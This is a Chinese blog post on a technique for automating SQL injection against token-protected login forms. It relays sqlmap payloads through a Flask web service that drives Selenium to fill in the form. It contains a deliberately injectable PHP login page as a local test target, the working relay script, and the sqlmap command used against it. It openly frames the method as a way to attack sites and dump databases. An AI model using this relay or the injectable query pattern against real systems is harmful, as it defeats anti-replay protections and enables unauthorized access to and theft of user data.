使用 flask + selenium 中转 SQLmap 进行注入

本文作者: Z1NG (信安之路 2019 年度荣誉作者)

tools 看到大佬使用这种方式日站,感觉蛮有意思的,就本地来实现玩玩。开头放上原文链接,以表崇拜之情:

https://www.t00ls.net/articles-52164.html

使用场景

在某些登录框,由于做了 token 保护,当传入的 token 与服务端的不一样的时候就会停止程序进一步的运行。那么如果这个这个登录框存在 SQL 注入 ,却无法自动化攻击,使用手工脱裤难免有些尴尬。又或者前端使用了某种加密方式,而我们传入的 payload 需要先进行这样的加密。这里介绍的 flask + selenium 中转 SQLmap 的方式注入,可以解决上述的问题。

原理

通常一个 token 值都是被隐藏在一个表单之中随着表单一起被发送到服务端,这样使用 selenium 模拟登陆的方式,自然而然可以或得到最新的 token 值,从而绕过保护。那我们如何把 sqlmappayload 传递给 selenium ?显然,我们可以搭建一个 web 服务,接收 sqlmap 传递过来的 payload ,然后通过 selenium 的将 payload 填入到目标站点之中。

实现利用

首先,先编写一个具有注入的登录框,测试代码如下。以下代码主要是设置了一个 token 值,防止表单重复提交。

image

<?php

session_start(); 

function randStr( $length = 32 ) 

{

    $str = substr(md5(time()), 0, $length);//md5加密,time()当前时间戳

    return $str;

}

if(!isset($_SESSION['token']) || $_SESSION['token']=='') { 

    $_SESSION['token']=randStr();

} 

if(isset($_POST['token'])&&$_POST['token']!==$_SESSION['token']){ 

  $_SESSION['token']=randStr();

  die("token error");

}

$con = mysqli_connect("localhost","root","root","user");

if(!$con){ die("something erorr"); }

if(isset($_POST['username'])&&isset($_POST['password']))
{

  $sql="select * from user where username='".$_POST['username']."' and password='".$_POST['password']."'";


  echo $sql,"<br>";

  $rs = @mysqli_query($con,$sql);

  $r = @mysqli_fetch_array($rs);

}

$_SESSION['token']=randStr();

?>

<html>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<div style="margin:0 auto;width:100px">

  <form action="index.php" method="POST">

    用户名:<input type="text" name="username" id='username'/></br>

    密 码:<input type="password" name="password" id='password'/></br>

    <input type="hidden" name="token" id="token" value=<?php echo $_SESSION['token'];?> />

    <input type="submit" id="submit"/>

  </form>

<div>

</html>

如下两个数据包可以看出,重放数据包由于传入的 token 值和服务端的 token 值不符就会被中断。说明我们的 token 值起到了保护的作用了。

那么接下来,就是构造 flask+selenium 环境,用来中转 payload ,从而绕过这个保护机制。首先要起一个 web 服务承接 sqlmap 发送来的 payload ,然后将 payload 通过 selenium 模拟登陆的方式填入表单。

代码如下:

from flask import Flask

from flask import request

from selenium import webdriver

chrome = webdriver.Chrome()

chrome.get("http://127.0.0.1")

app = Flask(__name__)

def send(payload):

    #起到中转payload效果。

  chrome.find_element_by_id("username").send_keys(payload) #把payload填到有注入点的地方

  chrome.find_element_by_id("password").send_keys("aaaa")

  chrome.find_element_by_id("submit").click()

  return "111" #随便返回一下不重要

@app.route('/')

def index():

    # 接收sqlmap传递过来的payload

    payload = request.args.get("payload")

    return send(payload)


if __name__ == "__main__":

    app.run()

然后把 python 脚本跑起来,接着使用 sqlmap 扫描我们自己搭建的 flask 服务,效果就如下所示。

python sqlmap.py -u"127.0.0.1:5000/?payload=1

就这样,虽然 sqlmap 扫描的是 5000 端口的 flask 服务,但是 payload 就成功的被中转到了目标网站上,也能成功的识别出是否存在注入。

最后

其实这里有个疑问, 经过了中转 sqlmap 为什么还能识别出注入

我猜测,上面的测试用例是基于时间的注入,也就是原本判断目标站点的执行时间,被转换成判断 send 函数的执行时间。而 send 函数的执行时间取决于目标网站的执行时间,因此还是等效的。那么有没有办法识别出布尔型注入呢?这个。。。没做尝试。。如果对 selenium 返回结果进行处理的得当的话,应该是可以识别的。代码写的太垃圾。。。所以就没深究了。。。